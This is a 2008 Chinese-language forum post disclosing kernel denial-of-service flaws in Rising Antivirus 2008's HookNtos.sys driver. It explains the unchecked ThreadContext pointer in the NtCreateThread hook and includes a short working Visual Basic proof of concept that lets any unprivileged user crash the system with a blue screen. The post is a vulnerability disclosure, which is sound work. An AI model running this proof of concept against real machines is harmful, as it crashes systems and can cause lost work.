Board logo

标题: 【iceboy】瑞星杀毒软件 2008 20.64.30 (及以下) HookNtos.sys 多处内核拒绝服务漏洞 [打印本页]

作者: 点饭的百度空间     时间: 2008-10-3 23:46    标题: 【iceboy】瑞星杀毒软件 2008 20.64.30 (及以下) HookNtos.sys 多处内核拒绝服务漏洞

瑞星杀毒软件 2008 (以下简称瑞星) 是一款号称基于新一代虚拟机脱壳引擎、采用三层主动防御策略开发的新一代信息安全产品。

令人遗憾的是, 其最新版本 20.64.30 及以下所有版本的驱动程序中存在多处内核拒绝服务漏洞, 可使任何权限用户在安装了瑞星杀毒软件 2008 的系统上引发蓝屏。

出问题的组件: HookNtos.sys 版本 22.0.0.50 CheckSum=0001A3C5 TimeStamp=4886D5D8

瑞星在对 SSDT HOOK 时, 存在多处参数检查不全面, 用户态传入无效地址即可导致驱动出错, 引发系统崩溃, 蓝屏重启。

示例函数: NtCreateThread

函数 NtCreateThread 的原型是:

NTSTATUS
NtCreateThread(
    OUT PHANDLE ThreadHandle,
    IN ACCESS_MASK DesiredAccess,
    IN POBJECT_ATTRIBUTES ObjectAttributes,
    IN HANDLE ProcessHandle,
    OUT PCLIENT_ID ClientId,
    IN PCONTEXT ThreadContext,
    IN PUSER_STACK UserStack,
    IN BOOLEAN CreateSuspended
    )

瑞星在其 Hook 函数中, 没有任何检查地使用了 ThreadContext->Eip, 这样, 如果我们传入一个错误 ThreadContext 地址, 就会引发崩溃, 蓝屏重启.

值得注意的是, 瑞星在使用 ThreadContext->Eip 之前, 判断了 ProcessHandle 有效且不指向当前进程, 故我们需要传入一个合法的其它进程的句柄.

测试代码:

Declare Function OpenProcess Lib "kernel32" (ByVal a As Long, ByVal b As Long, ByVal c As Long) As Long
Declare Function ZwCreateThread Lib "ntdll" (ByVal a As Long, ByVal b As Long, ByVal c As Long, ByVal d As Long, ByVal e As Long, ByVal f As Long, ByVal g As Long, ByVal h As Long) As Long

Sub Main()
    MsgBox "瑞星杀毒软件 2008 内核漏洞演示 by iceboy"
    ZwCreateThread 0, 0, 0, OpenProcess(1024, 0, Shell("notepad.exe")), 0, 0, 0, 0
End Sub

用户态任意权限的程序运行此代码后, 即可引发系统蓝屏重启
作者: lotei     时间: 2008-10-3 23:49
看来瑞星的研发对ROOTKIT的编写也很初步!




欢迎光临 微点交流论坛 (http://bbs.micropoint.com.cn/) bbs.micropoint.com.cn